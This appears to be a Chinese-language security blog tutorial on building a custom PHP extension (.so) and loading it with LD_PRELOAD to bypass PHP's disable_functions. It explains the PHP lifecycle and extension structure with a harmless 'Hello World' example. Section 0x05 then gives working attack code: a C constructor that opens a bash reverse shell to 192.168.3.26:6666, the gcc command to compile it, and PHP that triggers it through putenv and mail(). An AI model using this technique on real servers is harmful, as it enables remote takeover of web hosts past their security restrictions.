php自定义恶意扩展so编写过程

0x01前言

LD_PRELOAD是linux的环境变量,可以设置一个指定库的路径,常被用来Passby Disable_functions,本文将从php扩展和php内核的交互来解释php编写自定义扩展的整个过程

0x02前置知识

php的生命周期有五个阶段:

1、模块初始化

此阶段主要注册php和zend引擎的扩展,还有将常量注册到EG(zend_constants),全局变量注册到CG(auto_globals),同时掉用php扩展的PHP_MINT()

2、请求初始化

初始化php脚本的基本执行环境,调用php扩展的PHP_RINT()

3、执行php脚本

将php编译成opcode码,然后再用zend引擎执行

​ 编译过程流程图:

img

4、请求结束

清理EG(symbol_table),销毁全局变量PG(http_globals),调用析构函数和各种扩展的RSHUTDOWN函数,关闭编译器和执行器,关闭内存管理器

5、模块关闭

清理持久化符号标,调用各扩展的MSHUTDOWN,清理扩展globals,注销扩展提供的函数

php整个扩展的加载就在模块初始化阶段,而整个扩展的加载过程又有以下步骤

  • 使用dlopen()函数来打开so库文件,并返回句柄给dlsym()

  • dlsym()函数来获取动态库中get_module()函数地址

  • 调用get_module()函数来获取扩展的zend_module_entry结构

  • zend api版本号检查,看是否是当前php版本下适用的扩展

  • 注册扩展,将扩展添加到module_registry

  • 如果扩展有内部函数,将内部函数注册到EG(function_table)中

0x03扩展编写

1、编写config.m4

Config.m4是扩展的编译配置文件,它被include到configure.in文件中,最终被autoconf编译为configure。

以下是一个简单的扩展配置模版:

1
2
3
4
5
6
7
PHP_ARG_ENABLE(扩展名称, for mytest support,
Make sure that the comment is aligned:
[ --with-扩展名称 Include xxx support])

if test "$PHP_扩展名称" != "no"; then
PHP_NEW_EXTENSION(扩展名称, 源码文件列表, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
fi

下面是我自己实验的config.m4文件:

1
2
3
4
5
PHP_ARG_ENABLE(php_knight, Whether to enable the KnightPHP extension, [ --enable-knight-php Enable KnightPHP])//扩展名可以和函数名不同

if test "$PHP_KNIGHT" != "no"; then
PHP_NEW_EXTENSION(php_knight, php_knight.c, $ext_shared)
fi

2、编写.h文件

php_knight.h

1
2
3
4
5
6
// 定义模块常量
#define PHP_KNIGHT_EXTNAME "php_knight"
#define PHP_KNIGHT_VERSION "0.0.1"

// 声明模块的函数功能
PHP_FUNCTION(knight_php);//此处是你想要生成的扩展函数

3、编写.c文件

Php_knight.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//包含php.h文件
#include <php.h>
// 包含扩展文件
#include "php_knight.h"


// 将函数注册到php中,让php知道本模块中所包含的函数
zend_function_entry knight_php_functions[] = { //此处要是 函数名_functions[]
PHP_FE(knight_php, NULL)//此处为函数名
{NULL, NULL, NULL}
};

// 关于整个模块的详细信息
zend_module_entry knight_php_module_entry = //结构体的格式是 函数名_module_entry
STANDARD_MODULE_HEADER,//宏统一设置
PHP_KNIGHT_EXTNAME,//扩展名称
knight_php_functions,//扩展的内部函数
NULL,
NULL,
NULL,
NULL,
NULL,
PHP_KNIGHT_VERSION,//扩展版本
STANDARD_MODULE_PROPERTIES//宏统一设置
};

// 提供一个接口给php来获取zend_module_entry
ZEND_GET_MODULE(knight_php)

//下面就是函数的编写了,可以使用c语言来执行RCE了
PHP_FUNCTION(knight_php) {
php_printf("Hello World! \n");
}

4、编译

先安装php-dev,而后安装phpize,装好后直接在当前目录执行phpize

phpize主要是操作复杂的autoconf/automake/autoheader/autolocal等系列命令,用于生成configure文件

然后执行./configure --enable-php-knight

提供给configure.in获取配置,生成Makefile

接着就是makemake install,在执行完这些命令后,就会在目录下生成一个php_knight.so文件了。

0x04使用恶意扩展

编写php代码

1
2
3
<?php
putenv("LD_PRELOAD=./php_knight.so");
knight_php();

这样通过访问浏览器,就会返回Hello World!

0x05 其他方法

还有一个使用很多的方法

Knight.c

1
2
3
4
5
6
7
8
9
10
11
#include<stdlib.h>
#include<string.h>
#include<stdio.h>

__attribute__((__constructor__))//在main()函数之前执行
static void test()
{
char cmd[0x100];
strcpy(cmd,"bash -i >& /dev/tcp/192.168.3.26/6666 0>&1");
system(cmd);
}

然后使用命令gcc knight.c -fPIC -shared -o knight.so就可以产生so扩展文件了

knight.php

1
2
3
4
<?php
putenv("LD_PRELOAD=./knight.so");
mail('','','','');//调用扩展
?>

就可以动态加载自己的反弹shell命令了。

此方法相比上面一种方法的局限性就是mail()函数没有被禁用

0x06参考来源

https://blog.csdn.net/hguisu/article/details/7377153

https://www.jianshu.com/p/6051939134c2

https://www.kancloud.cn/nickbai/php7/363313